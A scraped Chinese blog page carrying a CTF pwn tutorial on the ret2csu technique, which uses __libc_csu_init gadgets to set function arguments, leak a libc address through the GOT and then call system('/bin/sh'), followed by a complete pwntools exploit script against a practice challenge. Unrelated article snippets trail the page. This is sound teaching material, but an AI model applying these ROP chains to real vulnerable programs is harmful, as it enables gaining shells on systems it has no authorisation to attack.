news 2026/9/30 2:45:32

ret2csu

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ret2csu

上一篇的文章说的ret2libc的用法,在当时,我们没法控制rdx,所以用的是输出byebye延续下来的 rdx=6,现在把byebye改成bye,这样延续下来的rdx就是3了,没法泄露全部的got表里的真实地址了,此时我们可以尝试用ret2csu的方式控制rdx,下面是新的题

只更改了byebye,我们用ida看一眼

这里我们找到这个叫__libc_csu_init的函数,仔细看这一段

上面先把r14赋值给了rdx,r13赋值给了rsi,r12赋值给了edi,也就是说我们可以通过控制r12,r13,r14来控制函数的前三个参数,之后call了r15加rbx*8,那我们也可以通过控制r15和rbx控制call的函数,如何控制r12这些寄存器呢?

我们下面几行就是pop rbx等等一系列寄存器,我们可以先跳转到40122A这个地方,然后布置栈,用这一大堆pop设置寄存器的值,最后我们放一个401210的地址,让rip到上面执行mov那个指令,设置函数的参数和call函数。

call之后,我们看到rbx加了1,然后对比了rbp和rbx,如果不是0就跳转到401210,401210是刚刚mov的地方,我们不希望回去,而是希望继续执行,到下面的ret方便我们控制rip,所以我们还需要保证rbx+1和rbp相等。

所以我们设计rbx为0,rbp为1,r12(edi,第一个参数)为1,r13(rsi,第二个参数)为我们需要泄露的地址leak_func,r14(rdx,第三个参数)为6,r15(call的函数)为got表里的write函数地址。

这样设置可以了,并且rbx+1和rbp相等,会继续执行,下面还有6个pop和1个add才到ret,所以后面我们还要放七组字符用来填充,这时候寄存器的值已经无所谓了,最后的ret那里放dofunc函数,回到主程序,方便下一次payload就好

我们这里就沿用上次ret2libc的脚本修改,这是上次的脚本

这是改之后的脚本

payload1就是按刚刚的思路写的,call的是leak_func,也就是got表里的write函数地址,接收的byebye记得改成bye,payload2那里加了一个ret用来16字节对齐

最后附上exp

from pwn import * s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) context.log_level = 'debug' context.binary = binary = './question_5_plus' context.terminal = ['tmux', 'splitw', '-h'] gdbscript = ''' ''' def start(argv=[], *a, **kw): if args.GDB: return gdb.debug( [binary] + argv, gdbscript=gdbscript ) elif args.REMOTE: return remote('node5.anna.nssctf.cn',23291) else: return process([binary] + argv, *a, **kw) elf = ELF(binary) libc = ELF('./libc.so.6') rop = ROP(elf) io = start() ru('input:') write=elf.symbols['write'] return_addr=elf.symbols['dofunc'] padding=b'a'*0x10 pop_rdi=0x401233 pop_rsi_r15=0x401231 leak_func=0x404018 ret=0x401234 payload1=padding+p64(0x40122A)+p64(0)+p64(1)+p64(1)+p64(leak_func)+p64(6)+p64(leak_func)+p64(0x401210) payload1+=b'aaaabbbb'*7 payload1+=p64(return_addr) sl(payload1) ru('bye') write_addr=uu64(r(6)) print(hex(write_addr)) write_offset = libc.sym['write'] libc_addr=write_addr-write_offset print(hex(libc_addr)) system=libc.sym['system']+libc_addr binsh=next(libc.search(b'/bin/sh'))+libc_addr payload2=padding+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) sl(payload2) itr()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/30 2:44:08

mysql-26.7.0-linux26.7.0下载安装

mysql-26.7.0-linux26.7.0下载 开篇简介 本文将为您提供 mysql-26.7.0-linux26.7.0 的下载与使用说明,请通过以下百度网盘链接获取资源。 资源信息 资源名称:mysql-26.7.0-linux版本:26.7.0 -下载地址: https://pan.baidu.com/s/1…

作者头像 李华
网站建设 2026/9/30 2:44:03

Salesforce:精准定位多轮工具调用训练步骤

📖标题:Critical-State RL: Diagnosing Trainable States for Multi-Turn Tool Use 🌐来源:arXiv, 2609.24985v1 🛎️文章简介 🔸研究问题:在多轮工具使用任务中,如果最终结果失败&a…

作者头像 李华
网站建设 2026/9/30 2:43:49

Vue 与 React 响应式原理深度对比:从实现机制到实战选型

一、什么是响应式?响应式的本质是一句话:数据变了,用到这个数据的地方自动更新。听起来简单,但要实现它,需要解决三个问题:如何知道数据变了?(数据劫持 / 手动触发)如何知…

作者头像 李华
网站建设 2026/9/30 2:43:21

NTP/SNTP时钟协议原理详解:从时间戳到工程避坑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华